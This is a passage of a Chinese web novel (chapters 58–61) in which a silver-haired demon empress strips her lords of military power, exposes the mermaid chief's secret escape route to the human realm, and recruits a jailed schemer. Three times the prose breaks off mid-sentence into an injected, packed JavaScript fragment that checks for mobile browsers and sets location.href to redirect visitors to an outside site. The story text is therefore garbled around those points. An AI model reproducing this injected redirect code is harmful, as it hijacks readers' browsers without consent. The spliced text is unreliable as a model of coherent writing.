“釉面,你辛苦一点,屠五月将需要的资源矿脉数量估算出来后,我需要你趁妖界尚且太平的时候游历九洲,将玄铁矿、炎晶矿、青金石这些炼器用得上的矿脉,全给我探一遍。” “先从青丘第九洲开始,特殊时刻,什么都不用考虑,探明了好挖的立刻组织人手开采,难挖的标记位置,等日后腾出手再说。妖界底子薄,想跟仙魔打,灵器法器断不能少——你们几人好好合作,我要在蛛网建成的时候,看到第一批新炼制的军械入库。” “是!”眼看有架要打,高山灰兔领主兴奋的眼瞳轻颤,立刻满口应下,“炼器师公会一定全力配合赤琉璃行动!” 58. 逃兵 琉歌话音刚落,帝宫内的空气便骤然紧绷起来。 之前关于尊号,抚育司乃至蛛网等事情,虽也触及了领主们的部分利益,但尚在领主们可咬牙忍受的范围内。 然而……削天下兵权和设郡县这两把直抵心窝的尖刀,终于还是被琉歌挑明,摆上了明面。 短暂的死寂后,反对的声浪如同压抑已久的火山,轰然爆发! “尊上!此事万万不可!”脾气最为暴躁的第三洲领主之一,刀脊鲨族族长激浪愤愤不平,率先抗议道。 同为水族领主的虎鲸,抹香鲸,鲛人族,龙族都是群聚而居,以一族之力保护,供养新生的幼崽。水族中,尤其是海域中,天生就是独行侠的刀脊鲨却能打出领主之位,鲨族的好战和善战可见一斑。 在一对一的情况下,水族除了龙尊常妄,谁也不能保证对上激浪百分百能获胜。 琉歌之前说的什么领地官员任命啊税收收归中央啊他都不太在意,他虽是领主,却只负责第三洲的军备和防务,第三洲洲府无烬炎是春在野的地盘,他插不上手,也懒得插手。 刀脊鲨一族以战功封领主,激浪身为刀脊鲨领主,只在乎自己手里有多少可用的兵。 “外敌当前,贸然收拢军队改天下军制章程,恐造成难以估量的混乱,若此时魔族入侵,失去了军队的领主,该如何保卫自己的领地,保卫领地内的妖族百姓?” “等着青丘驰援吗?”激浪粗声粗气的直接质问琉歌,“若青丘被魔将甚至魔尊绊住了脚,我们岂不是只能等死?!” 和喻未央同为第二洲领主的黄金蟒族长金戈微微偏头,似有似无的目光带着探究和审视,扫过一直抿唇垂首的喻未央。 “龙族之后,水域以鲛人为首……”金戈眼睛一弯,声音压得极低,皮笑肉不笑的怂恿道:“喻未央大人,激浪都已经帮我们开了头,您不和我们一起,捍卫自己的权力吗?” 喻未央垂首静默不语,反倒是第七洲领主之一的蛇族族长,虎斑海蛇血脉的掠芜闻言蹙眉,不悦的瞪了一眼挑唆水族关系的金戈。 “若说刀脊鲨是水里的独行侠,你黄金蟒就是路上的独行侠,军权于黄金蟒一族而言亦是不能交出的底线……何苦来挑拨我们水族替你出头?”掠芜一双灰绿色的竖瞳凝在金戈身上,警告的意味十足。 “尊上,领主手握军权实乃保境安民之所需。”掠芜不再管金戈,追在激浪后面开口道:“妖界疆域辽阔,山川险阻,各处魔渊裂隙、凶兽恶兽层出不穷!领主若无一兵一卒在手,如何及时应对突发祸患?难道事事都要千里迢迢上报青丘,等赤琉璃驰援?只怕到时早已生灵涂炭!” “若如激浪领主所言,发生了青丘被围分身乏术的情况,手握兵卒的领主也可以从四方驰援青丘——肇武先皇分封我等领兵镇守各地,正是出于此虑。尊上今日要夺回我等的兵权,岂非置边民安危于不顾?” 她声泪俱下,仿佛已看到军改后妖族一团混乱,腹背受敌的景象。 武不为左看看又看看——一边是神情激愤,以水族为代表反对派,一边是缄默不语的喻未央和束漫时等人,一时间明白了什么,忍不住笑了。 罪多不压身,虱子多了也咬不死人,从学宫研学派开始,她能得罪这位新君的地方几乎全得罪了,也不差帮水族说话这一条。 更何况她本就是水族第三大族的族长。 “尊上,我虎鲸族是第一批投入肇武先皇麾下的水族,随先皇大小血战十七场,族中壮年期的子嗣投身前线时没有丝毫犹豫惜身……如今是十不存三啊,这才换来这片领地。兵权、税权、治权,此三权乃是肇武先皇对我族牺牲的认可与酬功。” “如今尊上唇舌一碰就要全部收回,岂非寒了所有追随先皇开疆拓土的功臣之心?日后……”她意有所指的笑着指了指头顶,“还有谁愿为妖界死战?” 掠芜感激的向武不为投去一瞥,语气稍缓,威胁性却更重。 “尊上明鉴,水族并非想和尊上对着干,只是海域广阔,情况复杂,非一时半刻就能熟悉摸透的。水族上岸打陆战尚有一战之力,陆族在海里打水战却难免力不从心——仓促改制,臣等恐海防会出现致命破绽,一旦仙魔趁机自海上袭来……青丘西面海岸线漫长曲折,只怕帝宫亦难安稳。” 这番话看似为妖界着想,实则是最赤裸不过的威胁——动了我们的根本,你的海疆防线就要垮。 “臣恳请尊上三思,不求您收回成命,至少……至少要使地方保留部分卫戍之权。”掠芜以退为进,说完这话后便将舞台让给了被点燃了情绪的众领主们,殿内一时嘈杂,试图以众怨众怒迫使锐意改革的定宸妖皇让步。 惊轶、风弄堂,危天梭等已明确站在中央一边的臣子面色凝重,弥随音手按剑柄,眼神微冷。 藏权云等新晋将领则屏息以待,他们年轻,更倾向于琉歌所描绘的强力中央集权制度,却也在此时感受到了莫大的压力。 琉歌始终靠在神座上,面色平静地听着,甚至又端起茶杯抿了一口,仿佛在看一场与己无关的闹剧。 直到声浪渐歇,所有反对者都陈述完毕,或怒目,或悲切,或忐忑地望着她时,她才轻轻放下茶杯,发出一声几不可闻的脆响。 这声响仿若带着奇异的魔力,大殿瞬间重归寂静。 “海域防务是大事,一直以来都是谁在统筹?”她先是点点头,赞成了掠芜等人的话。 喻未央再也不能装哑巴了,悄无声息的叹了口气,她站出来,拱手行礼,“尊上,在下曾任问情先皇第二神使,海域的巡逻和布防一直是在下在统筹。” “你们都听喻未央的话?”银发妖皇捧起茶杯吹了吹上浮的热气,水汽氤氲,朦胧了她的眉眼。 掠芜不明所以,还是点了点头,“是的,您若一定坚持要废领主的兵权,那请您原谅,水族只能为了妖界的安全,而选择违背您的意志了!” 琉歌没有理会掠芜,只是看着喻未央:“喻未央,既然他们都听你的,那你就说说吧,水族都做了什么?” 她笑容温和,喻未央也不会在这样简单的述职上驳了妖皇的面子,思索片刻开了口,详细讲述了海防的巡逻和落点布局规划,讲了如何跟随洋流更新部署巡逻的妖族,如何及时的发现魔渊裂隙和如何清理小型的魔渊裂隙。 “干得好,”琉歌笑容愈发扩大了,“真是辛苦水族的众位了,我再次确定一下,鲛人族长喻未央说的这些,是所有水族的功劳,对吧?” 莫名其妙的,掠芜头皮一炸,冷血的蛇族忽然在温暖的大殿内打了个寒颤。 “对!尊上您到底想说什么?不妨直言!”还没等她想明白那股杀意来自何方,激浪已经很不耐了,眉头拧的死紧,直白的承认了。 琉歌抬眼,再不掩饰目光中潜藏的森森杀意,眼珠缓缓扫过众人,妖皇威压骤然降下! “喻未央,我问你,我离开神庭的这一个多月里,你前后总共派了二十支巡逻小队前往同一个坐标——那里有什么?” “第二洲鲛人族领地内大小传送阵共五十个,却只有四十八个被青丘登记在册,接受青丘联合副会的维护和保养……喻未央啊,还有两个传送阵,是通向何方呢?” 喻未央抬眸,没有惊愕,没有求饶,只是一派早已了然的苦笑:“您还和小时候一样,喜欢握着证据看我们挣扎的样子。” “我曾那么喜欢你,视你如我的子女一般,在春在野日渐癫狂的野心下尽力保护着你……可你带给我们的是什么呢?您直接断开所有联系,叛出了神庭!”喻未央冷冷自嘲一笑。 没什么好辩解的,她知道琉歌是最谨慎的猎手,若不是有了十足把握的情况,她不会对她动手的。 既然如此,何必再自取其辱呢? 鲛人族自视甚高,从来以海洋的宠儿自居,龙族代表了高贵的血统,他们就是整片蔚蓝海域神秘的化身,神秘的代名词。 “……我忍受了那么久的聒噪,就为了等你开口,喻未央,我还不够喜欢你吗?” 琉歌真心实意的疑惑道,“你说视我如子女,我却从不觉得您站在我身边过——春在野来取血时您缄口不语,融合仪式您明明看出那是召唤仪式了,却依然默许。” “您对我的喜欢,就是默许他们对我做这一切吗?”她心很累似的微微歪头,“鲛人族就是这样对待幼崽的吗?” “喻未央,你最开始喜欢的是我,还是我和问情相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310271|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同的性别,相似的脸?” 非礼勿听,弥随音提醒自己,可他细密的犯疼的心口却容不得他闭目塞听。 琉歌的声音很轻,却像淬了冰的针,一根根扎进殿内每个妖的耳朵里。她站起身缓缓从高台上的妖皇神座走下,银发在她身后流淌,如冰雪雕刻的星河。 “你喜欢我,所以在我最需要帮助的时候,选择站在我的对立面?” 她停在喻未央面前三步远的地方,目光平静得可怕,鲛人族长无话可说,一撩衣摆跪了下去,闭眼低头,重重叩首。 “你喜欢我,所以明知春在野包藏祸心却一言不发?你喜欢我,所以在魔族可能入侵、妖界最需要团结的时候,想的不是如何加固海防,而是……如何给你的族人,找一条逃去人界的退路?” “什么?!”掠芜失声惊呼,难以置信地看向喻未央。 激浪瞪圆了眼睛,粗重的呼吸声在寂静的大殿里格外清晰。 一直端着乐子人心态搅混水的武不为,脸上挂着的混不吝的笑容陡然僵住,“尊上,这不可能——妖界头顶那肇武先皇以真身化作的屏障被我们试验了数千次,用尽了各种办法,最后的结论就是进不来出不去……鲛人族,鲛人族怎么可能只凭一族之力,就找到了打开屏障的办法?!” 喻未央抬头,睁开眼,墨蓝色的眼瞳里是一片深海般的平静,没有慌乱,只有一丝早已预料的疲惫:“您都查到了。” “很难查吗?”琉歌扯了扯嘴角:“二十支巡逻队,反复去一个远离航线、靠近屏障薄弱点的荒芜海沟。两个未登记的传送阵,能量波动特殊,与已知所有妖界阵图不符。这些本就满是疑点,是你把青丘想得太弱了。” 她每说一句,喻未央的脸色就白一分,但背脊依旧挺直。 其他水族领主,尤其是掠芜和激浪,脸色已经黑如锅底——他们刚刚还在为海防、为兵权据理力争,转头却发现,他们隐隐为首、信赖有加的鲛人族长,早就背着所有妖族,给自己铺好了逃跑的路! 喻未央沉默许久,终于缓缓点头,声音依旧平稳,却带上了一丝不易察觉的涩然:“是,仙魔环伺,强悍如龙族,在仙族有心渗透之下,也不过是沙子堆成的沙堡,稍微一碰就一溃千里……妖界前途未卜,我为族长,不能不为全族寻一条生路!” “好一个求一条生路……!” 掠芜气得浑身发抖,怒火充斥着她灰绿色的竖瞳,“喻未央!我们把你当水族的头脑,信赖你——你倒好,原来早就打算丢下我们自己跑了?!你把我们当成什么了?固守妖界的傻子,战场上以卵击石的炮灰,还是你逃跑时殿后的肉盾?!” 激浪更是直接踏前一步,周身煞气翻涌,死死盯着喻未央:“难怪你一直不吭声!老子在前面为了兵权吵破天,你他妈在想怎么带着你家崽子溜号?!我们水族的脸都被你丢尽了!” 面对同族的怒火和指责,喻未央只是微微偏过头,避开了掠芜几乎要喷火的眼睛,轻声道:“抱歉,但我必须为我的族群负责。” “负责?你这是背叛!” 武不为也冷下了脸,“背叛了问情先皇留下的基业,背叛了所有并肩作战的妖族!你以为逃去人界就安全了?人族若知道妖界有鲛人逃过去,他们会放过这样好的向妖族复仇的机会?只怕到时候,等待你们的是比在妖界更彻底的奴役或剿杀!” “仙魔徘徊境外,你们以为妖界就能好到哪里去吗!”喻未央何尝不知风险? 她死死咬牙,“鲛人追随问情肇武先皇开疆拓土,何止是为了求一份安宁!可谁知问情……问情她这样早,这样突然的就陨落了?!” “都闭嘴。”琉歌冷冷斥责道,妖皇的声音压过了所有的灼烈的愤怒和拙劣的辩白。 她看着喻未央,眼神复杂:“身为族长为族群虑后,或许在你看来无可厚非。” 她的语气没有任何波动,“但你的行为在任何时候都是背叛。尤其是现在——外敌当前,军制将改,你身为海域防务统筹者、水族之首,却暗中谋划弃界而逃,动摇军心,破坏团结,此罪无可赦也。” 喻未央深深吸了一口气,她知道结局已定了。 “罪臣……听凭妖皇发落。” 59. 烙印 死一般的寂静笼罩着帝宫正殿的每一个角落。 喻未央跪在冰冷的青玉砖上,低着头,背脊依然挺直,代表领主身份的紫玉冠被她亲手卸下,双手举过眉眼,以一种递还的姿态捧到了琉歌身前,墨蓝色的长发铺散开来,像一片即将干涸的海。 “鲛人族子嗣艰难,光是维持海防巡逻的人手都已经勉强,联络人界,意图打开屏障等事俱是罪臣一手所为。” 喻未央感到手上一轻,不敢抬眼,强撑着最后的一点颜面,尽量得体的缓缓将脊梁弯折了下去,“请尊上明察,放过蒙在鼓里的鲛人幼崽。” 她不再辩解,也不再看向任何人,静静等待着裁决。 掠芜,激浪,武不为等一众水族领主,脸上交织着震惊、愤怒和难以言喻的挫败感—— 研学派以春在野为第一,而军功派一直以来,以第二神使的身份和妖皇妖后之下最高修为的喻未央,始终稳坐军功派首脑的位置。 军功派不得不承认,那个被所有人深信不疑的鲛人族长,原来早已背弃了所有妖族。 这种背叛,比任何外敌的刀剑更令人心寒。 “若查明你的族人当真不知情,我自然不会让你牵连他们——毕竟现在哪里都缺人,每位妖族都很宝贵。” 一点风声和细微的衣料摩擦声引得喻未央耳朵一动,就听琉歌的声音忽然在她的头顶响起。 年轻的君主特意换成了水族独有的偏言,胸喉共鸣,发出短促的,歌唱似的婉转鲸鸣音:“喻未央,我那日问你的问题,你现在有答案了么?” 喻未央浑身猛地一颤。 鲛人偏言……她竟然还记得,还用得如此纯熟。 偏言,即是在问情尚未带领妖族开辟妖界时,妖族各族根据人言和本族的发音特色形成的交流共识——有点类似人族的方言。 隔河不同调,五里不同音。 偏言的特点就是似人言又似兽鸣,难以形成文字,每一族都由族中长辈口口相传,教导给小辈。 鲛人族偏言是水族中最好听的,鲛人族擅歌,尤其擅长坐在礁石上,让歌声与脚下广袤的碧波共鸣,显出一种婉转却宏大的空旷来,水一样,海一样。 琉歌与喻未央最要好的那段日子,她也曾缠着她学会了鲛人族的偏言。 甚至在说熟妖族官话前,她先熟练了鲛人偏言。 “……官话的普及是很难的,神女殿下。”喻未央有些震惊于她的学习速度,饶有兴致的跟她以鲛人偏言对话了几句,发现琉歌不仅能听懂,而且对答如流。 要知道,陆族和水族发声的方式相差巨大,很少有陆族愿意去学水族的偏言,更别说还学得这么快,学得这么好了。 “妖族是得天地与自然青睐的种族,生来即身负灵根——就算从生到死一直不修炼,也有一千年的寿命。”喻未央笑着根据各洲洲府呈上来的奏章,在新生的神女心底描绘着妖界的雏形。 “妖族生于山野湖海,天地赋予了我们不同的声音,这是根,难舍。” “那些五六百岁的妖族,用偏言用了大半辈子,现在要他们舍了偏言去学官话,他们自然不乐意……况且现在不是战时,没有战争和死亡在身后追着,短暂的懈怠也是人之常情。” “而且……”鲛人族长瀚海一样的眼瞳里漾出蔚蓝色的笑意,“而且问情尊上自己也不太喜欢说官话,您觉着官话冷冰冰的,没有偏言有韵味——和她一样,学偏言学的很快。” 神女静静的凝视了她许久,忽然用最标准的官话,清晰而缓慢地问: “喻未央,若我觉得,官话必须立刻下大力普及,推进,你会怎么做?” 鲛人族长一愣,脑子里率先蹦出的记忆,居然是大殿上,问情斜靠着神座,跟她抱怨官话不好听时的样子。 “臣觉得此事得徐徐图之,若贸然强推,恐糟百姓逆反……” 年幼的神女于是笑了,“喻未央……你看着我,教导我,可你心里想的,究竟是‘妖界接下来该怎么走’,还是……‘如果是问情尊上,她会怎么做’?” “这妖界,究竟是谁的妖界?我该如何做才能让你们看见我,而不是透过我,从我的方方面面,去寻找另一个人的影子?” 我该如何,才能像问情一样,在妖界山河打下永不磨灭的烙印? 我该如何,才能像问情一样,在你们身上打下永不磨灭的烙印? 那时鲛人族长心中莫名一慌,竟有种被看穿的无措和恼羞成怒,一时间居然失态到直接拂袖而去,只丢下一句:“殿下想太多了。” 如今,在这冰冷的大殿上,在这决定她生死荣辱的时刻,同样的问题,用她最熟悉的,十几年未曾在帝宫正殿内响起过的鲛人偏言,再次砸在了她的心上。 喻未央闭上眼,喉咙发紧。 她终于明白了当年那问题背后的寒意。 眼前这位君主,要的从来不是成为第二个问情,她要的是属于自己的疆土,功绩,要的是属于自己的烙印。 而自己,连同许多像自己一样的人,却始终下意识地以问情为尺度丈量一切,以问情为标准评判对错,甚至在绝望时,怀念的也是问情时代所谓的安稳和安逸。 她的沉默,她的外逃,她所有的选择,其实早已给出了答案——在她心里,妖界或许从来都是“问情的妖界”。 问情不在了,大厦将倾,她便只想带着自己的族人逃离。 “我……”喻未央张了张嘴,偏言的音节在舌尖滚动,最终化为一声极轻的、近乎气音的哀叹,“罪臣……仍未有答案。” 不知是不知答案,还是不知该如何面对这个答案。 琉歌直起身,目光从喻未央身上移开,扫过殿中所有面色各异的领主和臣子。 惊轶,风弄堂等人神色凝重,等待着琉歌降下判罚。掠芜、激浪等水族军功派面露惶恐,迷茫且害怕,担忧被喻未央牵连,又兔死狐悲,唇亡齿寒的忧虑她的今日,就是自己的明日。 “你不知……可我却找到了答案。” 琉歌的声音恢复了清冷的官话,响彻大殿:“妖界,是问情肇武先皇带领无数妖族先烈,从血与火中拼杀出来的。这一点,妖族只要还存在,便永世不忘!” 她提高了声音:“但先皇陨落已三年有余,这三年来,是谁在治理各洲?是谁在戍守边疆?是谁在抚养幼崽?是谁在制定律法,推行政令,让这片土地继续运转?” “是我们——” “妖界是妖族的妖界。” 十二冕旒后,妖皇清凌凌的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一,各洲的安全需熟悉当地的军队戍卫,二,收兵权是背弃了问情先皇的功臣。” 银发妖皇微微前倾,十二冕旒压在墨紫色的眼瞳上,眼神陡然凌厉,语气森森,每一个字都砸在寂静的殿中—— “呵……本洲的安全?我问,第四洲水患爆发时,三位领主手里的守军护得住所有幼崽吗?第五洲魔尊魔气爆发,从豆绿高原之下倾泻时,赤狐族守军何在!龙岛被仙族渗透,龙尊常妄被仙族阵法所害时,第一洲的龙岛守军又在何方?!” 她言语如刀,被点名的领主纷纷苍白着面色,垂首不敢言语。 “靠你们这些心思各异的领主和各自为政的守军,才是将妖界安危置于悬崖峭壁之上!我收天下兵权,要赤琉璃从此成为一支号令统一,行令禁止的真正妖族大军,驻守关键节点,通过蛛网,做到瞬息之间支援四方。” “那时,无论是仙族还是魔族,要面对的就不再是你们各自为战、可能一触即溃的散兵,而是整个妖界最强悍的铁骑!” “至于第二点,背弃功臣?” 琉歌冷笑,“刚刚我已经说的很清楚了,管你在问情手下得到了多少荣宠,不能在我这里证明你的价值,就给我把吃进去的全都吐出来。” 60. 鸾台野心家 殿内几个老牌领主被琉歌的话气得气血翻涌,却连口大气都不敢喘。 刚刚嚷得最凶的掠芜和激浪,现在跟被掐了脖子的鸟一样,脸憋得通红,半个字都吐不出来。 他们晦暗不明的目光落在被赤琉璃押着的喻未央身上,又互相看了一眼,随即飞快地躲开视线,好像多看对方一眼,都会沾上叛徒和同党的嫌疑。 惊轶站在队伍前面,后背的衣料已经被冷汗浸透。 他太清楚眼下这局面意味着什么——研学派早就随着春在野之死,和学宫一起被连根拔了,现在军功派实际上的核心又被妖皇当众挑明了罪责……这两股最能跟青丘叫板的势力,短短几天里全垮了,剩下的领主们,谁还敢抱团?谁还敢梗着脖子说“我们水族不同意”? 他偷偷往上瞄了一眼,只见银发妖皇重新靠回神座,指尖有一下没一下地敲着扶手,脸上没什么表情,那声音在死寂的大殿中格外清晰。 半响,她笑了,“既然你们已经无话可说,那就轮到我来说了。” “颂颂,把人带上来。” 新任青衣史一席正青色曲裾,腰间束着一条镶嵌了月白明珠的玉带。 颂颂早已准备好了,领命退下,很快,两名采薇卫押着一位身着素白囚衣的女子走进来。 身着囚衣的女子身形纤细,脸色因久不见日光而苍白,一头青灰色的长发有些凌乱,但那双眼睛却异常明亮,甚至带着一种近乎灼热的冷静。 正是本该在一个月前就被斩首示众的前任青衣史,青雀族,嗣音。 采薇卫松开她,退至殿外。 嗣音没有跪,只是微微躬身,声音清越:“罪臣嗣音,拜见定宸妖皇尊上。” 琉歌看着她,笑容浅淡:“颂颂将你在狱中写的那些奏章都拿给朕看过了,既然你直言有谋策想献于朕,那便在这里,当着众领主的面说说看吧。” 一句话,嗣音顿时怔然,恍惚间仿若回到了一月前的狱中。 她将细细密密写满了字的奏疏塞进颂颂掌心,恳求颂颂将这些谋策递到妖皇眼前时,其实并不抱太大希望。 嗣音自己无比清楚,她和颂颂相当不对付。 野心家之间总是有某种奇异的共鸣的。 青雀第一次见到那化形都不完美的垂耳兔时,就没忍住轻蔑一笑。她几乎只用一眼,就笃定的了然——这孩子的目标也是鸾台青衣史之位。 毫不客气的,已经在春在野的帮助下成为了第二任青衣史的她,将颂颂打到了神女身边。 有野心而废物的妖兽混血,和有野心却无能,不被圣坛青睐的神女,正好相配。 然而那天,昏暗而不见天日的狱中,身着正青色青衣史官服的颂颂仔细看完她的奏疏后,冷冷睨了她很久,转身离去。 就在嗣音万念俱灰之时,她听到了颂颂恭顺而崇敬的声音:“尊上,地上脏,您该让他们打扫之后再来的,何必急于一时?” 琉歌笑笑,目光落在震惊的无以复加的嗣音身上,立刻洞穿了她震惊的源头不只是自己。 “颂颂,你要留下旁听么?”她有些恶劣的笑着,嘴上问着颂颂的意见,手已经搭在了垂耳兔的肩膀上,把她按到了一旁的长凳上坐着。 随后,才慢悠悠的打量起了嗣音,问道:“颂颂已经将你写的东西拿给朕看了,说说吧,你的想法。” “是,”嗣音抬起头,目光从垂首静默不语的颂颂身上移开,“罪臣将死之人,本无资格妄议朝政,但尊上开恩,允许罪臣死前胡言几句,便想着或许罪臣这点微末见识能对尊上有所助益,权当……赎罪万一。” “赎罪?”琉歌笑意更深,“你配合春在野取神血炼丹,窃夺信仰损伤妖界根基,这罪可不好赎。” 嗣音面色不变:“罪臣不敢求免死,但于尊上而言,杀一个我不过是多一具无关紧要的尸体,而留着罪臣这副还算好用的脑子,或许能为尊上省些力气,多斩几个真正碍事的人。” 好一个好用的脑子。 琉歌审视着她,青雀族在妖族中不算强族,素以机敏灵动著称,多出探子,斥候,信使一类的角色。 而眼前这个嗣音,却把这份机敏用在了最危险的权谋之路上。 她知道自己的价值在哪里,也知道该如何创造价值,这是真正的野心家,为达目的不择手段,春在野愿意将她放到鸾台青衣史这样的位置上,或许就是看上了她敢冒天下之大不讳,算计神庭和妖皇的胆量。 青雀深吸一口气,“您先设典藏阁,后引出抚育司,都是为了集权于青丘,罪臣斗胆揣测,下一步,您应该是想收各领主兵权,归于中央。” “但若强行削夺领主兵权,必引起他们的激烈反弹,领主均乃问情先皇手下功臣,青丘不可能对领主出兵,这不符合妖族不对同族动手的铁律和传统,不若……顺势而为。” “继续。”银发妖皇坐下,颂颂立刻熟稔的将一杯温度正好的茶递到她的手底,“这是从第四洲带来的逐云白毫,尊上。” 嗣音顿了顿,观察着琉歌和颂颂的神色,斟酌着继续道:“一,改分封为郡县,每洲的洲府之下划十二郡,每郡下又设十二县。” “二,每洲从此有且只有三位领主,领主之间互相分担压力也互相制衡。每位领主,无论原领地多大,从此之后最多只能直接统领三个郡,只要是其子嗣,成年时必可得一块封地,这块封地至少三县大小。如此层层继承之下,等到继承领地的子嗣连三县之地也拿不出来时,便不可再往下传承。” “如此一来,领主们即便看穿,为子孙长远计议,亦不得不从,为安顿子孙,必不会大力反对新政。而子孙分封后,其利益便与领主不尽相同,封地越分越小,势力越分越散,两三代之后,世家大族割据之患自解。” 琉歌微微颔首:“一洲十二郡,领主拿九个,剩下三郡呢?” 嗣音立刻道:“自然是直接隶属青丘,归帝宫直接管辖。这三郡是离一级传送阵和洲府最近的三郡,由青丘亲自委任官员,治理,税收,防务,司法等等皆由中央直辖,不容地方势力插手。此三郡乃一洲心腹,握住这里,便握住了一洲命脉。” “而地方不止有领主,还有豪强——地方豪强若自愿迁居青丘,献出部分私产,可赐予虚衔厚禄,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她将额头贴在手背上:“求尊上……赐罪臣一个效死的机会。” 烛火摇曳,映着嗣音伏地的身影和琉歌沉静的眉眼。 良久,琉歌开口:“起来吧。” 嗣音身体微微一颤,依言起身。 “你的命,我可以暂且留着,”琉歌的声音听不出喜怒,“好好准备吧,下一次大朝会,将有你的一次发言机会。” “你知道该说什么。” 嗣音深深吸气,压下心中狂涌的激动与寒意:“臣……定不负尊上所托!” 她知道,自己赌赢了第一步。 那条通天的青云路,终于又向她敞开了! 琉歌摆手,“对了,朕还没问过,你想要什么?” 嗣音深吸一口气压住自己细密的颤抖,青雀抬眸,圆而亮的眼珠明丽丽的闪耀,“罪臣不敢欺瞒尊上……罪臣想要第三洲,春在野空出的领主之位。” “您身边供您驱使的剑不少,但您缺一把,可以随您打磨政策的锟铻刀。” 嗣音倏然弯起了眉眼,“我知道仙魔都是我们的敌人,我知道您将颂颂那个孩子推到台前,是想将鸾台从照顾妖皇起居的内务,打造成收拢您谋臣与心腹的小朝廷……您是比春在野,比惊轶,比问情更合格帝宫神座的君主……只有您,才配当我嗣音的君王!” “好大的胆子。”琉歌俯视着嗣音,眼神冷厉,嘴角却缓缓勾起,“但我允许你更大胆一些,嗣音。” “若是你能永远如今日这般合我心意,朕许诺你,你会得到比领主之位贵重的多的奖赏。” 61. 狱中劝谏 鼎新历25年春,定宸妖皇正位,为肇武妖祖后第二代妖皇。 同年,代表研学派的春在野因妄图自立成神被妖皇施以天谴,代表军功派的鲛人族长喻未央下狱候审,原神庭长老之首的惊轶率世家大族,于圣坛上向新任妖皇宣誓效忠。 同年,定宸妖皇封凤凰神兽弥随音为第一神使,妖界内外尊称其为“帝师”。 同年,三场大朝会后,新神降下的各项命令如同投入湖面的石子,迅速在青丘乃至整个妖界荡开涟漪。 审查司,青丘狱中,喻未央跪坐其中,与狱外的琉歌隔栏相望。 准确来说其实并没有相望,只是琉歌单方面的打量着她。 颂颂在忙着接管玉牡丹帝宫内的大小事宜,琉歌这次探监就没带她,跟着妖皇的正是还在融入妖界,一时间“无所事事”的第一神使,帝师弥随音。 “鲛人族子弟马上就要到青丘了,我想着,总该是来见你一面的……对了,你需要纸笔吗?” 琉歌含笑的目光投向隔壁单间,画妖心疼的捧着自己补色不及时已经开始褪色的脸蛋,手指弯曲间,指节处肉色的颜料扑簌簌往下掉。 “尊上纸笔都给我了,再给一点颜料又有何不可?”浮荣幽幽叹息,从狱中的小小书案间抬起头。 “嗣音还在青丘狱写定国三策,写完才可出去,我看你们一个个在青丘狱里都蛮文思泉涌的,浮荣,再说这种话,你就给我在这里写一辈子书。”琉歌端起一副和蔼可亲的微笑。 浮荣就怕她这个样子,连连讨饶,缩到后面的阴影里,继续奋笔疾书去了。 “臣……罪臣,虽然还没有自己的答案,却有些明白您的答案了。”喻未央收回视线,垂首敛眸端正的跪着,剥去一身灵气,才能看出她已经是年逾七百的大妖了。 按照妖族平均寿命一千年来算,只剩下对妖族来说说长不长,说短不短的两百年强盛期。 没了灵气的遮掩,鲛人族长眼角疲惫的细纹比琉歌记忆里的样子还要深刻。 若是两百年内不能飞升成功,位列仙班,管她是什么神使,什么族长,亦会和所有妖族一样不可避免的走向消亡。 琉歌想了想,还是饶有兴味的坐了下来——她总觉得,喻未央不会只是无聊的求饶。 “若此事没有暴露,罪臣会带着这一支鲛人族回归人界,从此潜入深海,与人族井水不犯河水……人族对大海的探索尚局限在近海领域,鲛人族大概率能平安的繁衍,修炼,不求壮大的话,存续总是没有问题的……” “可您的话给了罪臣新的思考——我们已经站着活过了,再回到蜷缩匍匐的状态,真的能忍受吗?” “罪臣已经开始走向腐朽的下坡路了,一切都已成定局……可族中小辈,他们已经站起来活过了,当真还愿意跟我一起,重新匍匐着,佝偻在人族的压迫之下吗?” 琉歌静静的看着她,“鲛人族最近五年并无小辈诞生——原来如此,你们在人界还留了一支鲛人血脉。” “是的,水族不像陆族和翼族一样,和人族矛盾冲突那么激烈,那一支鲛人族是深海血系,一直没有被人族发现过……她们一辈子不浮出海面也没有任何关系,不像臣下出身的这一支鲛人族,幼崽刚出生时适应不了深海水压,需要在海岸边呆满一年才能随着母亲畅游瀚海。” 喻未央置于膝头的手颤动两下,指尖微微绷紧:“这就是臣碰巧试出来的,穿过妖皇屏障的方法——血系亲族。” “只要在屏障两边,有血缘关系的两人同时以血画传送阵,哪怕是最简单的传送阵,也能直接通过人妖两界之间漫长的空间裂隙和时空乱流。” “血缘么……”琉歌忽然沉默了许久。 “问情……她搭建屏障时,居然在想这些?”她撑着下巴陷入沉思,银发遮住她的眉眼,在烛光下流溢着斑斓的光泽。 只要屏障内外有血缘关系就可以进入妖界——很显然,这是问情为尚未进入妖界的妖族留下的“漏洞”。 琉歌扪心自问,那样的生死时刻,她能和问情一样,还考虑到尚未进入妖界的妖族吗? 说实话,问情妖祖开辟妖界,以神座召唤天下妖族西迁入妖界的时候,拒绝了神座的召唤,要留在人界的妖族,无非就是两种情况,一是走不了,二是不愿走。 可问情战胜人皇后连人界地脉都切了近一半,不存在还有什么其他力量能拦住妖皇召唤妖族,一这种情况基本不可能存在。 而二的话,当真还算是妖族吗? 鲛人这样的还好说,只是给自己留了条路,尚未切实的伤害妖界……还有呢?血海铜雀那样的,早早投靠了人族,自愿给人族当内应打入妖界,伤害同族的呢? 